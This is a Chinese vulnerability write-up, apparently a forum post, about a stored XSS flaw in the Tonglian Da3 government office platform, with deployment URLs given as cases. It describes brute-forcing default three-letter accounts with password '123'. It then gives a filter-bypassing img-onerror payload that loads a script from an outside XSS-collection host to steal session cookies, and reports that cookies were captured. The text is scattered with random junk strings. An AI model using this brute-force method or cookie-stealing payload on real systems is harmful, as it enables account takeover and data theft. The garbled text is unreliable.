同联Da3协同办公平台后台通用储存型xss漏洞

admin

" U7 D; p- m1 w% R- k6 C. Z$ O & i! f! i9 `4 `+ E% }, h$ V/ ? / m& F; e4 Y3 G9 Z _8 T& { : k1 D+ P8 |( c" K- h/ D) Y+ W 6 j6 E& {# K. } 3 g( ?9 s n. @, q/ t

8 a$ W" V' j P+ H: n9 l' v( |

' k3 g4 h9 H/ a# [9 J% M; I 同联Da3协同办公平台后台通用储存型xss漏洞 # |/ Y7 a. }: v. Z- k7 {" z0 R

, O- \1 q4 O* A# c7 R, a

% z* q. s p6 ^* N 平台简介： 2 f- b2 O7 z! D# K& ~ q

y m% l1 f6 n C

  1 ?. S. P7 ~; N# |5 ^1 l5 |

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
- Z+ t8 l" f2 g L& B+ L同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

8 R, M, X, ^# g- s3 `& E4 e. p6 b

  & j, _. m3 a$ [* a& b, t

. G9 x1 b' X; s' C# Q- M. r

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： ' X/ a9 l: l) p, ~% i

, `8 ~& q3 U/ s% j' K% f

- K! I( T* ~# L t   ( H* ?; A Z3 l

0 s; D l2 m1 F; {4 L. d. A

http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站） 2 L0 @' H ], D2 \- h

8 b% M4 L" U- h, K8 j8 l

漏洞详情: % i& P7 t/ Q; C! q. g$ x

" A. ~! P, f; _+ p

; g) F% a0 `% [1 F6 E( C! l+ |. H7 G  案例一、 7 `2 ~# P) N+ ?/ N% y" f k, X" \

9 ^* j4 u+ M, ?) Y, o, s$ a' O

! k; f+ P6 E8 N ?# k" ? 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

/ e% V# L% n. ?$ W, n

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 4 v3 S7 ]# ?1 v% {2 }

  9 P8 E; h4 M5 \: T1 T

5 _ Z) t; B d" P' ]

7 {! B- f4 v4 V% B3 t7 S4 r

% \+ ?" [ X2 M3 p$ L- {* b

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： & C( \0 G" J- h/ A b. u, `: |

 

/ ~9 s3 B5 f: f. r0 ~

& p9 h" v5 \$ D# `4 A

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 7 ~8 h, N# ]. c$ f6 x

  " f. R. s* F9 y0 y% s

9 g* G% Y b0 D2 g/ A3 X' |/ M9 i

6 E# X/ S: O, j$ G# b* r <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

4 c; a& Q4 X* l9 P7 V+ p

2 j$ x' A) b& h* O/ U

# d( n: ?* C1 ?# u4 e1 ? 然后发送，接收cookie如图： # z) w+ K9 D# ~, e# s

% h/ U3 V* j! u3 Y  

 

# F7 ~3 P- i( n0 K n j9 l" r

5 B8 _) m" Y: t! ^   $ c n9 ^# F( t! k3 m& j; k/ _

 

9 C. n3 J5 @3 w3 h! Z( d- J

. i/ N O7 m2 R- k0 T6 |' K; w 8 h5 }! k. s% L& b& B( \# u P

1 B, v0 S, V% D

 

, L) ?1 y4 c/ r) \' Q

案例2、 * }) L$ o/ ^ t" W- g3 m

前面步骤都一样，下面看效果图： 2 p4 ^5 X, g/ L1 x

) S: @7 `0 {/ D( M

; F% L: t2 R$ |) B! X+ J, ] 4 ?- S- K/ Z, J+ d; J2 R

  , ^/ [- N2 o# z. k+ G% Q2 W

; m2 ?$ C3 |1 z2 N) a$ @

 

8 ]/ ^, s# K z6 H& u; c & ]* C' i @# u' l; k+ q2 k

  : c# Z4 F0 M# r( [0 D, O0 w

% H$ C; e2 s6 B4 x- }+ j

 

* Z6 o* R- o* D8 C9 X x

 

2 i) e& s- ^1 ?4 u( v

 

8 ^' ~: s- Q: G/ @. T